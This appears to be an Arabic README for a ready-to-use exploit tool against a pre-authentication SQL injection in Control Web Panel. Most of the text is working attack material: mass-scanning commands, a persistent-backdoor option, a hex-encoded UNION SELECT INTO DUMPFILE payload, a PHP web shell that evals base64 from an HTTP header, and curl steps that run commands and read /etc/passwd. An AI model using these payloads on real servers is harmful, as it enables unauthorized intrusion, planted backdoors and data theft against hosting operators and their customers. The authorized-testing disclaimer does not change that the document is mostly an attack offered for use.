
💉 حقن SQL أعمى → ثغرة RCE في Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → cwpsvc shell
CVE-2026-57517 هي ثغرة حقن أعمى لـ SQL خطيرة قبل المصادقة في Control Web Panel (CWP) الإصدارات ≤ 0.9.8.1224. لا يتم تنقية معامل userRes عبر POST في نقطة نهاية لوحة المستخدم قبل تضمينه في استعلام SQL. يتم تنفيذ الاستعلامات بصلاحيات MySQL root — الذي يملك صلاحية FILE العامة — مما يسمح للمهاجمين بكتابة ملفات عشوائية عبر INTO DUMPFILE.
سلسلة الاستغلال النموذجية تنشر شيل PHP في دليل سجلات Roundcube الذي يمكن الوصول إليه عبر الويب، محققة تنفيذ أوامر عن بُعد تحت حساب خدمة cwpsvc.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (حرج) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| النوع | CWE-89 — حقن أعمى لـ SQL (قبل المصادقة) |
| المتأثر | Control Web Panel ≤ 0.9.8.1224 |
| المُصلَح | الإصدار 0.9.8.1225 |
| الإفصاح | 1 يوليو 2026 |
| الباحث | Egidio Romano (Karma In Security) |
| إثبات المفهوم | عام — KIS-2026-12 |
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# هدف واحد (اكتشاف اسم المستخدم تلقائياً)
python cve_2026_57517.py -t 192.168.1.100
# هدف واحد مع اسم مستخدم معروف
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# فحص جماعي
python cve_2026_57517.py -f targets.txt -o live.txt
# واجهة أوامر تفاعلية
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# باب خلفي دائم (بدون تنظيف تلقائي)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target مضيف الهدف الفردي
-f, --file ملف بالأهداف (واحد في كل سطر)
-u, --username اسم مستخدم CWP (يتجاوز الاكتشاف التلقائي)
-o, --output ملف إخراج TXT للأهداف الحية
--json ملف تقرير JSON
--threads العمال المتزامنون (الافتراضي: 20)
--timeout مهلة الطلب بالثواني (الافتراضي: 15)
--no-cleanup ترك الشيلات على الهدف
--rce وضع الواجهة التفاعلية
-v, --verbose إخراج مفصّل
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 أهداف | 20 خيط
التنظيف: نعم
ملف TXT الحي: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2ث
المستخدم : admin
الشيل : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
التنفيذ : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1ث
المستخدم : cwpsvc
الخطأ : فشل حقن SQL — قد يكون الهدف مصلَحاً أو المسار غير قابل للكتابة
· 192.168.10.50:2083 [not_cwp] 2.3ث
==================================================
ملخص الفحص
==================================================
المجموع : 5
✅ تنفيذ : 2
⚠️ فشل SQLi : 1
🔍 لا مستخدم : 1
· ليس CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
واجهة CWP التفاعلية — target.com
اكتب 'exit' للخروج، 'cleanup' لإزالة الشيل
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
الخطوة 1 — التحقق من أن CWP يمكن الوصول إليه على المنفذ 2083
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
الخطوة 2 — التحقق من صحة اسم المستخدم
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = المستخدم موجود
الخطوة 3 — حقن SQL عبر userRes
يستخدم الحمولة استعلاماً UNION SELECT بـ 13 عاموداً مع شيل PHP مشفر بالنظام الست عشري مكتوب عبر INTO DUMPFILE:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# الأداة تتعامل مع التشفير السداسي عشر تلقائياً. المكافئ اليدوي:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
الخطوة 4 — تنفيذ الأوامر عبر شيل الويب (المنفذ 2031)
شيل PHP المنشور يقرأ الأوامر من رأس HTTP C::
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# ترميز base64: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
| المكون | القيمة |
|---|---|
| أعمدة SQL | UNION SELECT بـ 13 عاموداً |
| شيل PHP | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| التشفير السداسي عشر | حرفي MySQL 0x... |
| طريقة الكتابة | INTO DUMPFILE (كتابة ملف ثنائي بدقة) |
| المسار المستهدف | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| إيصال الأمر | رأس HTTP C: مع PHP مشفر بـ base64 |
| منفذ الأمر | passthru(base64_decode('{cmd}')) |
🚨 لأغراض تعليمية واختبارات مصرح بها فقط
هذه الأداة مقدمة لأغراض تعليمية فقط وللبحث الأمني المشروع. الغرض منها أن تُستخدم من قبل:
- 🛡️ محترفي الأمن الذين يقومون باختبارات اختراق مصرح بها
- 🏢 المؤسسات التي تدقق بنيتها التحتية الخاصة بـ CWP
- 🔬 الباحثين الذين يدرسون تقنيات استغلال الثغرات
- 🎓 الطلاب الذين يتعلمون أمن تطبيقات الويب
❌ لا يجوز لك استخدام هذه الأداة من أجل:
- الوصول إلى أنظمة الحاسوب بدون إذن كتابي صريح
- اختراق أو إتلاف أو تعطيل أنظمة لا تملكها
- الانخراط في نشاط غير قانوني من أي نوع
⚖️ إشعار قانوني
الوصول غير المصرح به إلى أنظمة الحاسوب يخالف قوانين تشمل على سبيل المثال لا الحصر:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (18 U.S.C. § 1030)
- إندونيسيا: UU ITE المواد 30 و 46 (القانون رقم 11 لسنة 2008 المعدل بالقانون رقم 1 لسنة 2024)
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب 1990
المؤلف (المؤلفون) لا يتحملون أي مسؤولية عن أي إساءة استخدام أو ضرر أو عواقب قانونية تنجم عن استخدام هذه الأداة. باستخدامك لهذه الأداة، فإنك تقر بأنك المسؤول الوحيد عن أفعالك وتوافق على الامتثال لجميع القوانين المعمول بها.
| المصدر | الرابط |
|---|---|
| استشارة Karma In Security | KIS-2026-12 |
| إثبات المفهوم الأصلي | CVE-2026-57517.php |
| الإفصاح الكامل | SecLists |
| OpenCVE | CVE-2026-57517 |
| سجل التغييرات لـ CWP | control-webpanel.com |
⚡ بُني لأغراض البحث الأمني والتعليم ⚡
هذا المشروع ليس تابعاً لـ Control Web Panel أو مؤسسة Apache Software Foundation.